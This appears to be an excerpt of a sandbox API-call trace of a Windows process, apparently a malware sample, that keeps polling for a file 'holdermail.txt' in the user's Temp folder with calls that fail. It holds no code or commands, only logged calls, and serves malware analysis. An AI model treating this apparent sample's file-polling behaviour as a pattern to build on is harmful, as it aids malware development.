	[0089.477] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.477] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.477] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.477] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.477] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.477] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.477] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.477] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.477] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.477] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.478] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.478] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.478] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.478] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.478] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.478] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.478] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.478] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.478] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.478] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.478] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.479] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.479] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.479] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.479] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.479] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.479] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.479] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.479] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.480] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.480] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.480] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.480] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.480] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.480] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.481] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.481] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.481] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.481] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.481] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.481] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.481] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.481] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.482] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.482] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.482] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.482] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.482] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.482] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.482] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.482] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.482] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.482] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.482] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.483] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.483] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.483] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.483] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.483] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.483] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.483] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.483] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.483] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.483] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.483] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.484] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.484] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.484] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.484] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.484] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.484] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.484] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.485] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.485] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.485] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.485] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.485] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.485] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.486] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.486] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.486] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.486] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.486] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.486] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.486] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.486] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.486] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.487] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.487] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.487] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.487] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.487] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.487] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.487] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.487] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.487] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.487] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.487] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.488] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.488] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.488] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.488] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.488] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.488] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.488] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.488] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.488] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.488] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.488] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.489] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.489] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.489] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.489] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.489] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.490] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.490] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.490] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.490] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.490] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.490] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.490] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.491] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.491] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.491] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.491] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.491] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
